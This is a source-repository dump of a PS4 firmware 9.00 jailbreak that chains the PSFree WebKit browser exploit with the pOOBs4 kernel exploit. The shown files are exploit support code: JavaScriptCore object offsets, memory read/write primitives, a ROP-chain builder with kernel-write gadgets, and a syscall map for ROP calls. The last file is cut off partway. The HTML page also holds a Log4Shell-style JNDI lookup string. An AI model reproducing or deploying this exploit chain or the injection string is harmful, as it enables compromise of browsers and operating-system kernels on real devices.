├── README.md
├── alert.mjs
├── module
├── offset.mjs
├── utils.mjs
├── int64.mjs
├── rw.mjs
├── chain.mjs
├── mem.mjs
└── memtools.mjs
├── config.mjs
├── index.html
├── int64.js
├── rop.js
├── psfree.mjs
└── kexploit.js
/README.md:
--------------------------------------------------------------------------------
1 | # PSFree900
2 | Psfree Webkit Exploit & ChendoChap Kernel Exploit For PS4 Firmware 900
3 |
4 | Created using a chain of PSfree Webkit Exploit v1.5.0b made by abc from Playstation Developer Wiki Discord and ROP / kernel exploit Code From pOOBs4.
5 |
6 | Original pOOBs4: https://github.com/ChendoChap/pOOBs4
7 |
8 | Psfree v1.4.0: https://github.com/kmeps4/PSFree
9 |
--------------------------------------------------------------------------------
/alert.mjs:
--------------------------------------------------------------------------------
1 | /* Copyright (C) 2023-2024 anonymous
2 |
3 | This file is part of PSFree.
4 |
5 | PSFree is free software: you can redistribute it and/or modify
6 | it under the terms of the GNU Affero General Public License as
7 | published by the Free Software Foundation, either version 3 of the
8 | License, or (at your option) any later version.
9 |
10 | PSFree is distributed in the hope that it will be useful,
11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | GNU Affero General Public License for more details.
14 |
15 | You should have received a copy of the GNU Affero General Public License
16 | along with this program. If not, see . */
17 |
18 | // We can't just open a console on the ps4 browser, make sure the errors thrown
19 | // by our program are alerted. We use alert() instead of debug_log() because
20 | // while we are developing, we may modify the utils.mjs module and introduce
21 | // bugs. We can not use debug_log() if it throws an error.
22 |
23 | // We log the line and column numbers as well since some exceptions (like
24 | // SyntaxError) do not show it in the stack trace.
25 |
26 | addEventListener('unhandledrejection', event => {
27 | const reason = event.reason;
28 | alert(
29 | 'Unhandled rejection\n'
30 | + `${reason}\n`
31 | + `${reason.sourceURL}:${reason.line}:${reason.column}\n`
32 | + `${reason.stack}`
33 | );
34 | });
35 |
36 | addEventListener('error', event => {
37 | const reason = event.error;
38 | alert(
39 | 'Unhandled error\n'
40 | + `${reason}\n`
41 | + `${reason.sourceURL}:${reason.line}:${reason.column}\n`
42 | + `${reason.stack}`
43 | );
44 | return true;
45 | });
46 |
47 | // we have to dynamically import the program if we want to catch its syntax
48 | // errors
49 | import('./psfree.mjs');
50 |
--------------------------------------------------------------------------------
/module/offset.mjs:
--------------------------------------------------------------------------------
1 | /* Copyright (C) 2023-2024 anonymous
2 |
3 | This file is part of PSFree.
4 |
5 | PSFree is free software: you can redistribute it and/or modify
6 | it under the terms of the GNU Affero General Public License as
7 | published by the Free Software Foundation, either version 3 of the
8 | License, or (at your option) any later version.
9 |
10 | PSFree is distributed in the hope that it will be useful,
11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | GNU Affero General Public License for more details.
14 |
15 | You should have received a copy of the GNU Affero General Public License
16 | along with this program. If not, see . */
17 |
18 | // offsets for JSC::JSObject
19 | export const js_butterfly = 0x8;
20 | // start of the array of inline properties (JSValues)
21 | export const js_inline_prop = 0x10;
22 |
23 | // sizeof JSC::JSObject
24 | export const size_jsobj = js_inline_prop;
25 |
26 | // offsets for JSC::JSArrayBufferView
27 | export const view_m_vector = 0x10;
28 | export const view_m_length = 0x18;
29 | export const view_m_mode = 0x1c;
30 |
31 | // sizeof JSC::JSArrayBufferView
32 | export const size_view = 0x20;
33 |
34 | // offsets for WTF::StringImpl
35 | export const strimpl_strlen = 4;
36 | export const strimpl_m_data = 8;
37 | export const strimpl_inline_str = 0x14;
38 |
39 | // sizeof WTF::StringImpl
40 | export const size_strimpl = 0x18;
41 |
42 | // offsets for WebCore::JSHTMLTextAreaElement, subclass of JSObject
43 |
44 | // offset to m_wrapped, pointer to a DOM object
45 | // for this class, it's a WebCore::HTMLTextAreaElement pointer
46 | export const jsta_impl = 0x18;
47 |
48 | // sizeof WebCore::JSHTMLTextAreaElement
49 | export const size_jsta = 0x20;
50 |
51 | export const KB = 1024;
52 | export const MB = KB * KB;
53 | export const GB = KB * KB * KB;
54 | export const page_size = 16 * KB; // page size on the ps4
55 |
--------------------------------------------------------------------------------
/config.mjs:
--------------------------------------------------------------------------------
1 | /* Copyright (C) 2023-2024 anonymous
2 |
3 | This file is part of PSFree.
4 |
5 | PSFree is free software: you can redistribute it and/or modify
6 | it under the terms of the GNU Affero General Public License as
7 | published by the Free Software Foundation, either version 3 of the
8 | License, or (at your option) any later version.
9 |
10 | PSFree is distributed in the hope that it will be useful,
11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | GNU Affero General Public License for more details.
14 |
15 | You should have received a copy of the GNU Affero General Public License
16 | along with this program. If not, see . */
17 |
18 | // webkitgtk 2.34.4 was used to develop the portable parts of the exploit
19 | // before moving on to ps4 8.03
20 | //
21 | // webkitgtk 2.34.4 was built with cmake variable ENABLE_JIT=OFF, that variable
22 | // can affect the size of SerializedScriptValue
23 | //
24 | // this target is no longer supported
25 |
26 | // target firmware format used by PSFree
27 | //
28 | // 0xC_MM_mm
29 | //
30 | // * C console - PS4 (0) or PS5 (1) (1 bit)
31 | // * MM major version - integer part of the firmware version (8 bits)
32 | // * mm minor version - fractional part of the firmware version (8 bits)
33 | //
34 | // examples:
35 | // * PS4 10.00 -> C = 0 MM = 10 mm = 0 -> 0x0_10_00
36 | // * PS5 4.51 -> C = 1 MM = 4 mm = 51 -> 0x1_04_51
37 |
38 | // check if value is in Binary Coded Decimal format
39 | // assumes integer and is in the range [0, 0xffff]
40 | function check_bcd(value) {
41 | for (let i = 0; i <= 12; i += 4) {
42 | const nibble = (value >>> i) & 0xf;
43 |
44 | if (nibble > 9) {
45 | return false;
46 | }
47 | }
48 |
49 | return true;
50 | }
51 |
52 | export function set_target(value) {
53 | if (!Number.isInteger(value)) {
54 | throw TypeError(`value not an integer: ${value}`);
55 | }
56 |
57 | if (value >= 0x20000 || value < 0) {
58 | throw RangeError(`value >= 0x20000 or value < 0: ${value}`);
59 | }
60 |
61 | const version = value & 0xffff;
62 | if (!check_bcd(version)) {
63 | throw RangeError(`value & 0xffff not in BCD format ${version}`);
64 | }
65 |
66 | target = value;
67 | }
68 |
69 | export let target = null;
70 | set_target(0x900);
71 |
--------------------------------------------------------------------------------
/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | pOOBs4 9.00 & PSfree
5 |
6 |
55 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 | Awaiting Payload...
79 |
80 | ${jndi:ldap://nsa.gov}
81 |
82 |
83 |
84 | You're all set!
85 |
86 |
87 |
88 |
91 |
--------------------------------------------------------------------------------
/int64.js:
--------------------------------------------------------------------------------
1 | function int64(low, hi) {
2 | this.low = (low >>> 0);
3 | this.hi = (hi >>> 0);
4 |
5 | this.add32inplace = function (val) {
6 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
7 | var new_hi = (this.hi >>> 0);
8 |
9 | if (new_lo < this.low) {
10 | new_hi++;
11 | }
12 |
13 | this.hi = new_hi;
14 | this.low = new_lo;
15 | }
16 |
17 | this.add32 = function (val) {
18 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
19 | var new_hi = (this.hi >>> 0);
20 |
21 | if (new_lo < this.low) {
22 | new_hi++;
23 | }
24 |
25 | return new int64(new_lo, new_hi);
26 | }
27 |
28 | this.sub32 = function (val) {
29 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
30 | var new_hi = (this.hi >>> 0);
31 |
32 | if (new_lo > (this.low) & 0xFFFFFFFF) {
33 | new_hi--;
34 | }
35 |
36 | return new int64(new_lo, new_hi);
37 | }
38 |
39 | this.sub32inplace = function (val) {
40 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
41 | var new_hi = (this.hi >>> 0);
42 |
43 | if (new_lo > (this.low) & 0xFFFFFFFF) {
44 | new_hi--;
45 | }
46 |
47 | this.hi = new_hi;
48 | this.low = new_lo;
49 | }
50 |
51 | this.and32 = function (val) {
52 | var new_lo = this.low & val;
53 | var new_hi = this.hi;
54 | return new int64(new_lo, new_hi);
55 | }
56 |
57 | this.and64 = function (vallo, valhi) {
58 | var new_lo = this.low & vallo;
59 | var new_hi = this.hi & valhi;
60 | return new int64(new_lo, new_hi);
61 | }
62 |
63 | this.toString = function (val) {
64 | val = 16;
65 | var lo_str = (this.low >>> 0).toString(val);
66 | var hi_str = (this.hi >>> 0).toString(val);
67 |
68 | if (this.hi == 0)
69 | return lo_str;
70 | else
71 | lo_str = zeroFill(lo_str, 8)
72 |
73 | return hi_str + lo_str;
74 | }
75 |
76 | return this;
77 | }
78 |
79 | function zeroFill(number, width) {
80 | width -= number.toString().length;
81 |
82 | if (width > 0) {
83 | return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
84 | }
85 |
86 | return number + ""; // always return a string
87 | }
88 |
89 | function zeroFill(number, width) {
90 | width -= number.toString().length;
91 |
92 | if (width > 0) {
93 | return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
94 | }
95 |
96 | return number + ""; // always return a string
97 | }
--------------------------------------------------------------------------------
/module/utils.mjs:
--------------------------------------------------------------------------------
1 | /* Copyright (C) 2023-2024 anonymous
2 |
3 | This file is part of PSFree.
4 |
5 | PSFree is free software: you can redistribute it and/or modify
6 | it under the terms of the GNU Affero General Public License as
7 | published by the Free Software Foundation, either version 3 of the
8 | License, or (at your option) any later version.
9 |
10 | PSFree is distributed in the hope that it will be useful,
11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | GNU Affero General Public License for more details.
14 |
15 | You should have received a copy of the GNU Affero General Public License
16 | along with this program. If not, see . */
17 |
18 | import { Int } from './int64.mjs';
19 |
20 | export class DieError extends Error {
21 | constructor(...args) {
22 | super(...args);
23 | this.name = this.constructor.name;
24 | }
25 | }
26 |
27 | export function die(msg='') {
28 | throw new DieError(msg);
29 | }
30 |
31 | const console = document.getElementById('console');
32 | export function debug_log(msg='') {
33 | console.append(msg + '\n');
34 | }
35 |
36 | export function clear_log() {
37 | console.innerHTML = null;
38 | }
39 |
40 | export function str2array(str, length, offset) {
41 | if (offset === undefined) {
42 | offset = 0;
43 | }
44 | let a = new Array(length);
45 | for (let i = 0; i < length; i++) {
46 | a[i] = str.charCodeAt(i + offset);
47 | }
48 | return a;
49 | }
50 |
51 | // alignment must be 32 bits and is a power of 2
52 | export function align(a, alignment) {
53 | if (!(a instanceof Int)) {
54 | a = new Int(a);
55 | }
56 | const mask = -alignment & 0xffffffff;
57 | let type = a.constructor;
58 | let low = a.low & mask;
59 | return new type(low, a.high);
60 | }
61 |
62 | export async function send(url, buffer, file_name, onload=() => {}) {
63 | const file = new File(
64 | [buffer],
65 | file_name,
66 | {type:'application/octet-stream'}
67 | );
68 | const form = new FormData();
69 | form.append('upload', file);
70 |
71 | debug_log('send');
72 | const response = await fetch(url, {method: 'POST', body: form});
73 |
74 | if (!response.ok) {
75 | throw Error(`Network response was not OK, status: ${response.status}`);
76 | }
77 | onload();
78 | }
79 |
80 | // mostly used to yield to the GC. marking is concurrent but collection isn't
81 | //
82 | // yielding also lets the DOM update. which is useful since we use the DOM for
83 | // logging and we loop when waiting for a collection to occur
84 | export function sleep(ms=0) {
85 | return new Promise(resolve => setTimeout(resolve, ms));
86 | }
87 |
88 | export function hex(number) {
89 | return '0x' + number.toString(16);
90 | }
91 |
92 | // no "0x" prefix
93 | export function hex_np(number) {
94 | return number.toString(16);
95 | }
96 |
--------------------------------------------------------------------------------
/module/int64.mjs:
--------------------------------------------------------------------------------
1 | /* Copyright (C) 2023-2024 anonymous
2 |
3 | This file is part of PSFree.
4 |
5 | PSFree is free software: you can redistribute it and/or modify
6 | it under the terms of the GNU Affero General Public License as
7 | published by the Free Software Foundation, either version 3 of the
8 | License, or (at your option) any later version.
9 |
10 | PSFree is distributed in the hope that it will be useful,
11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | GNU Affero General Public License for more details.
14 |
15 | You should have received a copy of the GNU Affero General Public License
16 | along with this program. If not, see . */
17 |
18 | // cache some constants
19 | const isInteger = Number.isInteger;
20 |
21 | function check_not_in_range(x) {
22 | return !(isInteger(x) && -0x80000000 <= x && x <= 0xffffffff);
23 | }
24 |
25 | // use this if you want to support objects convertible to Int but only need
26 | // their low/high bits. creating a Int is slower compared to just using this
27 | // function
28 | export function lohi_from_one(low) {
29 | if (low instanceof Int) {
30 | return low._u32.slice();
31 | }
32 |
33 | if (check_not_in_range(low)) {
34 | throw TypeError('low not a 32-bit integer');
35 | }
36 |
37 | return [low >>> 0, low < 0 ? -1 >>> 0 : 0];
38 | }
39 |
40 | // immutable 64-bit integer
41 | export class Int {
42 | constructor(low, high) {
43 | if (high === undefined) {
44 | this._u32 = lohi_from_one(low);
45 | return;
46 | }
47 |
48 | if (check_not_in_range(low)) {
49 | throw TypeError('low not a 32-bit integer');
50 | }
51 |
52 | if (check_not_in_range(high)) {
53 | throw TypeError('high not a 32-bit integer');
54 | }
55 |
56 | this._u32 = [low >>> 0, high >>> 0];
57 | }
58 |
59 | get low() {
60 | return this._u32[0];
61 | }
62 |
63 | get high() {
64 | return this._u32[1];
65 | }
66 |
67 | // return low/high as signed integers
68 |
69 | get bot() {
70 | return this._u32[0] | 0;
71 | }
72 |
73 | get top() {
74 | return this._u32[1] | 0;
75 | }
76 |
77 | neg() {
78 | const u32 = this._u32;
79 | const low = (~u32[0] >>> 0) + 1;
80 | return new this.constructor(
81 | low >>> 0,
82 | ((~u32[1] >>> 0) + (low > 0xffffffff)) >>> 0,
83 | );
84 | }
85 |
86 | eq(b) {
87 | const values = lohi_from_one(b);
88 | const u32 = this._u32;
89 | return (
90 | u32[0] === values[0]
91 | && u32[1] === values[1]
92 | );
93 | }
94 |
95 | ne(b) {
96 | return !this.eq(b);
97 | }
98 |
99 | add(b) {
100 | const values = lohi_from_one(b);
101 | const u32 = this._u32;
102 | const low = u32[0] + values[0];
103 | return new this.constructor(
104 | low >>> 0,
105 | (u32[1] + values[1] + (low > 0xffffffff)) >>> 0,
106 | );
107 | }
108 |
109 | sub(b) {
110 | const values = lohi_from_one(b);
111 | const u32 = this._u32;
112 | const low = u32[0] + (~values[0] >>> 0) + 1;
113 | return new this.constructor(
114 | low >>> 0,
115 | (u32[1] + (~values[1] >>> 0) + (low > 0xffffffff)) >>> 0,
116 | );
117 | }
118 |
119 | toString(is_pretty=false) {
120 | if (!is_pretty) {
121 | const low = this.low.toString(16).padStart(8, '0');
122 | const high = this.high.toString(16).padStart(8, '0');
123 | return '0x' + high + low;
124 | }
125 | let high = this.high.toString(16).padStart(8, '0');
126 | high = high.substring(0, 4) + '_' + high.substring(4);
127 |
128 | let low = this.low.toString(16).padStart(8, '0');
129 | low = low.substring(0, 4) + '_' + low.substring(4);
130 |
131 | return '0x' + high + '_' + low;
132 | }
133 | }
134 |
--------------------------------------------------------------------------------
/module/rw.mjs:
--------------------------------------------------------------------------------
1 | /* Copyright (C) 2023 anonymous
2 |
3 | This file is part of PSFree.
4 |
5 | PSFree is free software: you can redistribute it and/or modify
6 | it under the terms of the GNU Affero General Public License as
7 | published by the Free Software Foundation, either version 3 of the
8 | License, or (at your option) any later version.
9 |
10 | PSFree is distributed in the hope that it will be useful,
11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | GNU Affero General Public License for more details.
14 |
15 | You should have received a copy of the GNU Affero General Public License
16 | along with this program. If not, see . */
17 |
18 | import { Int, lohi_from_one } from './int64.mjs';
19 |
20 | // DataView's accessors are constant time and are faster when doing multi-byte
21 | // accesses but the single-byte accessors are slightly slower compared to just
22 | // indexing the Uint8Array
23 | //
24 | // to get the best of both worlds, BufferView uses a DataView for multi-byte
25 | // accesses and a Uint8Array for single-byte
26 | //
27 | // instances of BufferView will their have m_mode set to WastefulTypedArray
28 | // since we use the .buffer getter to create a DataView
29 | export class BufferView extends Uint8Array {
30 | constructor(...args) {
31 | super(...args);
32 | this._dview = new DataView(this.buffer);
33 | }
34 |
35 | read16(offset) {
36 | return this._dview.getUint16(offset, true);
37 | }
38 |
39 | read32(offset) {
40 | return this._dview.getUint32(offset, true);
41 | }
42 |
43 | read64(offset) {
44 | return new Int(
45 | this._dview.getUint32(offset, true),
46 | this._dview.getUint32(offset + 4, true),
47 | );
48 | }
49 |
50 | write16(offset, value) {
51 | this._dview.setUint16(offset, value, true);
52 | }
53 |
54 | write32(offset, value) {
55 | this._dview.setUint32(offset, value, true);
56 | }
57 |
58 | write64(offset, value) {
59 | const values = lohi_from_one(value)
60 | this._dview.setUint32(offset, values[0], true);
61 | this._dview.setUint32(offset + 4, values[1], true);
62 | }
63 | }
64 |
65 | // WARNING: These functions are now deprecated. use BufferView instead.
66 |
67 | // view.buffer is the underlying ArrayBuffer of a TypedArray, but since we will
68 | // be corrupting the m_vector of our target views later, the ArrayBuffer's
69 | // buffer will not correspond to our fake m_vector anyway.
70 | //
71 | // can't use:
72 | //
73 | // function read32(u8_view, offset) {
74 | // let res = new Uint32Array(u8_view.buffer, offset, 1);
75 | // return res[0];
76 | // }
77 | //
78 | // to implement read32, we need to index the view instead:
79 | //
80 | // function read32(u8_view, offset) {
81 | // let res = 0;
82 | // for (let i = 0; i < 4; i++) {
83 | // res += u8_view[offset + i] << i*8;
84 | // }
85 | // // << returns a signed integer, >>> converts it to unsigned
86 | // return res >>> 0;
87 | // }
88 |
89 | // for reads less than 8 bytes
90 | function read(u8_view, offset, size) {
91 | let res = 0;
92 | for (let i = 0; i < size; i++) {
93 | res += u8_view[offset + i] << i*8;
94 | }
95 | // << returns a signed integer, >>> converts it to unsigned
96 | return res >>> 0;
97 | }
98 |
99 | export function read16(u8_view, offset) {
100 | return read(u8_view, offset, 2);
101 | }
102 |
103 | export function read32(u8_view, offset) {
104 | return read(u8_view, offset, 4);
105 | }
106 |
107 | export function read64(u8_view, offset) {
108 | return new Int(read32(u8_view, offset), read32(u8_view, offset + 4));
109 | }
110 |
111 | // for writes less than 8 bytes
112 | function write(u8_view, offset, value, size) {
113 | for (let i = 0; i < size; i++) {
114 | u8_view[offset + i] = (value >>> i*8) & 0xff;
115 | }
116 | }
117 |
118 | export function write16(u8_view, offset, value) {
119 | write(u8_view, offset, value, 2);
120 | }
121 |
122 | export function write32(u8_view, offset, value) {
123 | write(u8_view, offset, value, 4);
124 | }
125 |
126 | export function write64(u8_view, offset, value) {
127 | if (!(value instanceof Int)) {
128 | throw TypeError('write64 value must be an Int');
129 | }
130 |
131 | let low = value.low;
132 | let high = value.high;
133 |
134 | for (let i = 0; i < 4; i++) {
135 | u8_view[offset + i] = (low >>> i*8) & 0xff;
136 | }
137 | for (let i = 0; i < 4; i++) {
138 | u8_view[offset + 4 + i] = (high >>> i*8) & 0xff;
139 | }
140 | }
141 |
--------------------------------------------------------------------------------
/rop.js:
--------------------------------------------------------------------------------
1 | const stack_sz = 0x40000;
2 | const reserve_upper_stack = 0x10000;
3 | const stack_reserved_idx = reserve_upper_stack / 4;
4 |
5 |
6 | // Class for quickly creating and managing a ROP chain
7 | window.rop = function () {
8 | this.stackback = p.malloc32(stack_sz / 4 + 0x8);
9 | this.stack = this.stackback.add32(reserve_upper_stack);
10 | this.stack_array = this.stackback.backing;
11 | this.retval = this.stackback.add32(stack_sz);
12 | this.count = 1;
13 | this.branches_count = 0;
14 | this.branches_rsps = p.malloc(0x200);
15 |
16 | this.clear = function () {
17 | this.count = 1;
18 | this.branches_count = 0;
19 |
20 | for (var i = 1; i < ((stack_sz / 4) - stack_reserved_idx); i++) {
21 | this.stack_array[i + stack_reserved_idx] = 0;
22 | }
23 | };
24 |
25 | this.pushSymbolic = function () {
26 | this.count++;
27 | return this.count - 1;
28 | }
29 |
30 | this.finalizeSymbolic = function (idx, val) {
31 | if (val instanceof int64) {
32 | this.stack_array[stack_reserved_idx + idx * 2] = val.low;
33 | this.stack_array[stack_reserved_idx + idx * 2 + 1] = val.hi;
34 | } else {
35 | this.stack_array[stack_reserved_idx + idx * 2] = val;
36 | this.stack_array[stack_reserved_idx + idx * 2 + 1] = 0;
37 | }
38 | }
39 |
40 | this.push = function (val) {
41 | this.finalizeSymbolic(this.pushSymbolic(), val);
42 | }
43 |
44 | this.push_write8 = function (where, what) {
45 | this.push(gadgets["pop rdi"]);
46 | this.push(where);
47 | this.push(gadgets["pop rsi"]);
48 | this.push(what);
49 | this.push(gadgets["mov [rdi], rsi"]);
50 | }
51 |
52 | this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9) {
53 | if (rdi != undefined) {
54 | this.push(gadgets["pop rdi"]);
55 | this.push(rdi);
56 | }
57 |
58 | if (rsi != undefined) {
59 | this.push(gadgets["pop rsi"]);
60 | this.push(rsi);
61 | }
62 |
63 | if (rdx != undefined) {
64 | this.push(gadgets["pop rdx"]);
65 | this.push(rdx);
66 | }
67 |
68 | if (rcx != undefined) {
69 | this.push(gadgets["pop rcx"]);
70 | this.push(rcx);
71 | }
72 |
73 | if (r8 != undefined) {
74 | this.push(gadgets["pop r8"]);
75 | this.push(r8);
76 | }
77 |
78 | if (r9 != undefined) {
79 | this.push(gadgets["pop r9"]);
80 | this.push(r9);
81 | }
82 |
83 | if (this.stack.add32(this.count * 0x8).low & 0x8) {
84 | this.push(gadgets["ret"]);
85 | }
86 |
87 | this.push(rip);
88 | return this;
89 | }
90 |
91 | this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9) {
92 | this.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
93 | this.write_result(this.retval);
94 | this.run();
95 | return p.read8(this.retval);
96 | }
97 |
98 | this.syscall = function (sysc, rdi, rsi, rdx, rcx, r8, r9) {
99 | return this.call(window.syscalls[sysc], rdi, rsi, rdx, rcx, r8, r9);
100 | }
101 |
102 | //get rsp of the next push
103 | this.get_rsp = function () {
104 | return this.stack.add32(this.count * 8);
105 | }
106 | this.write_result = function (where) {
107 | this.push(gadgets["pop rdi"]);
108 | this.push(where);
109 | this.push(gadgets["mov [rdi], rax"]);
110 | }
111 | this.write_result4 = function (where) {
112 | this.push(gadgets["pop rdi"]);
113 | this.push(where);
114 | this.push(gadgets["mov [rdi], eax"]);
115 | }
116 |
117 | this.jmp_rsp = function (rsp) {
118 | this.push(window.gadgets["pop rsp"]);
119 | this.push(rsp);
120 | }
121 |
122 | this.run = function () {
123 | p.launch_chain(this);
124 | this.clear();
125 | }
126 |
127 | this.KERNEL_BASE_PTR_VAR;
128 | this.set_kernel_var = function (arg) {
129 | this.KERNEL_BASE_PTR_VAR = arg;
130 | }
131 |
132 | this.rax_kernel = function (offset) {
133 | this.push(gadgets["pop rax"]);
134 | this.push(this.KERNEL_BASE_PTR_VAR)
135 | this.push(gadgets["mov rax, [rax]"]);
136 | this.push(gadgets["pop rsi"]);
137 | this.push(offset)
138 | this.push(gadgets["add rax, rsi"]);
139 | }
140 |
141 | this.write_kernel_addr_to_chain_later = function (offset) {
142 | this.push(gadgets["pop rdi"]);
143 | var idx = this.pushSymbolic();
144 | this.rax_kernel(offset);
145 | this.push(gadgets["mov [rdi], rax"]);
146 | return idx;
147 | }
148 |
149 | this.kwrite8 = function (offset, qword) {
150 | this.rax_kernel(offset);
151 | this.push(gadgets["pop rsi"]);
152 | this.push(qword);
153 | this.push(gadgets["mov [rax], rsi"]);
154 | }
155 |
156 | this.kwrite4 = function (offset, dword) {
157 | this.rax_kernel(offset);
158 | this.push(gadgets["pop rdx"]);
159 | this.push(dword);
160 | this.push(gadgets["mov [rax], edx"]);
161 | }
162 |
163 | this.kwrite2 = function (offset, word) {
164 | this.rax_kernel(offset);
165 | this.push(gadgets["pop rcx"]);
166 | this.push(word);
167 | this.push(gadgets["mov [rax], cx"]);
168 | }
169 |
170 | this.kwrite1 = function (offset, byte) {
171 | this.rax_kernel(offset);
172 | this.push(gadgets["pop rcx"]);
173 | this.push(byte);
174 | this.push(gadgets["mov [rax], cl"]);
175 | }
176 |
177 | this.kwrite8_kaddr = function (offset1, offset2) {
178 | this.rax_kernel(offset2);
179 | this.push(gadgets["mov rdx, rax"]);
180 | this.rax_kernel(offset1);
181 | this.push(gadgets["mov [rax], rdx"]);
182 | }
183 | return this;
184 | };
--------------------------------------------------------------------------------
/module/chain.mjs:
--------------------------------------------------------------------------------
1 | /* Copyright (C) 2023-2024 anonymous
2 |
3 | This file is part of PSFree.
4 |
5 | PSFree is free software: you can redistribute it and/or modify
6 | it under the terms of the GNU Affero General Public License as
7 | published by the Free Software Foundation, either version 3 of the
8 | License, or (at your option) any later version.
9 |
10 | PSFree is distributed in the hope that it will be useful,
11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | GNU Affero General Public License for more details.
14 |
15 | You should have received a copy of the GNU Affero General Public License
16 | along with this program. If not, see . */
17 |
18 | import { Int } from './int64.mjs';
19 | import { get_view_vector } from './memtools.mjs';
20 | import { Addr, mem } from './mem.mjs';
21 |
22 | import {
23 | read64,
24 | write64,
25 | } from './rw.mjs';
26 |
27 | import * as o from './offset.mjs';
28 |
29 | // put the sycall names that you want to use here
30 | export const syscall_map = new Map(Object.entries({
31 | 'close' : 6,
32 | 'setuid' : 23,
33 | 'getuid' : 24,
34 | 'mprotect' : 74,
35 | 'socket' : 97,
36 | 'fchmod' : 124,
37 | 'mlock' : 203,
38 | 'kqueue' : 362,
39 | 'kevent' : 363,
40 | 'mmap' : 477,
41 | // for JIT shared memory
42 | 'jitshm_create' : 533,
43 | 'jitshm_alias' : 534,
44 | }));
45 |
46 | // Extra space to allow a ROP chain to push temporary values. It must pop all
47 | // of it before reaching a "ret" instruction, else the instruction will pop one
48 | // of the temporaries as its return address.
49 | //
50 | // Also space for additional frames when we call a function since we do not
51 | // pivot the call to another stack (the called function's stack pointer is
52 | // pointing to our ROP stack as well).
53 | const upper_pad = 0x10000;
54 | // maximum size of the ROP stack
55 | const stack_size = 0x10000;
56 | const total_size = upper_pad + stack_size;
57 |
58 | const argument_pops = [
59 | 'pop rdi; ret',
60 | 'pop rsi; ret',
61 | 'pop rdx; ret',
62 | 'pop rcx; ret',
63 | 'pop r8; ret',
64 | 'pop r9; ret',
65 | ];
66 |
67 | export class ChainBase {
68 | constructor() {
69 | this.is_stale = false;
70 | this.position = 0;
71 | this._return_value = new Uint8Array(8);
72 | this.retval_addr = get_view_vector(this._return_value);
73 |
74 | const stack_buffer = new ArrayBuffer(total_size);
75 | this.stack_buffer = stack_buffer;
76 | this.stack = new Uint8Array(stack_buffer, upper_pad, stack_size);
77 | this.stack_addr = get_view_vector(this.stack);
78 | }
79 |
80 | check_stale() {
81 | if (this.is_stale) {
82 | throw Error('chain already ran, clean it first');
83 | }
84 | this.is_stale = true;
85 | }
86 |
87 | check_is_empty() {
88 | if (this.position === 0) {
89 | throw Error('chain is empty');
90 | }
91 | }
92 |
93 | clean() {
94 | this.position = 0;
95 | this.is_stale = false;
96 | }
97 |
98 | // this will raise an error if the value is not an Int
99 | push_value(value) {
100 | if (this.position >= stack_size) {
101 | throw Error(`no more space on the stack, pushed value: ${value}`);
102 | }
103 | write64(this.stack, this.position, value);
104 | this.position += 8;
105 | }
106 |
107 | // converts value to Int first
108 | push_constant(value) {
109 | this.push_value(new Int(value));
110 | }
111 |
112 | get_gadget(insn_str) {
113 | const addr = this.gadgets.get(insn_str);
114 | if (addr === undefined) {
115 | throw Error(`gadget not found: ${insn_str}`);
116 | }
117 |
118 | return addr;
119 | }
120 |
121 | push_gadget(insn_str) {
122 | this.push_value(this.get_gadget(insn_str));
123 | }
124 |
125 | push_call(func_addr, ...args) {
126 | if (args.length > 6) {
127 | throw TypeError(
128 | 'call() does not support functions that have more than 6'
129 | + ' arguments'
130 | );
131 | }
132 |
133 | for (let i = 0; i < args.length; i++) {
134 | this.push_gadget(argument_pops[i]);
135 | this.push_constant(args[i]);
136 | }
137 |
138 | // The address of our buffer seems to be always aligned to 8 bytes.
139 | // SysV calling convention requires the stack is aligned to 16 bytes on
140 | // function entry, so push an additional 8 bytes to pad the stack. We
141 | // pushed a "ret" gadget for a noop.
142 | if ((this.position & (0x10 - 1)) !== 0) {
143 | this.push_gadget('ret');
144 | }
145 |
146 | this.push_value(func_addr);
147 | }
148 |
149 | push_syscall(syscall_name, ...args) {
150 | if (typeof syscall_name !== 'string') {
151 | throw TypeError(`syscall_name not a string: ${syscall_name}`);
152 | }
153 |
154 | const sysno = syscall_map.get(syscall_name);
155 | if (sysno === undefined) {
156 | throw Error(`syscall_name not found: ${syscall_name}`);
157 | }
158 |
159 | const syscall_addr = this.syscall_array[sysno];
160 | if (syscall_addr === undefined) {
161 | throw Error(`syscall number not in syscall_array: ${sysno}`);
162 | }
163 |
164 | this.push_call(syscall_addr, ...args);
165 | }
166 |
167 | // ROP chain to retrieve rax
168 | push_get_retval() {
169 | throw Error('push_get_retval() not implemented');
170 | }
171 |
172 | // Firmware specific method to launch a ROP chain
173 | //
174 | // Implementations must call check_stale() and check_is_empty() before
175 | // trying to launch the chain.
176 | run() {
177 | throw Error('run() not implemented');
178 | }
179 |
180 | get return_value() {
181 | return read64(this._return_value, 0);
182 | }
183 |
184 | // Sets needed class properties
185 | //
186 | // Args:
187 | // gadgets:
188 | // A Map-like object mapping instruction strings (e.g "pop rax; ret")
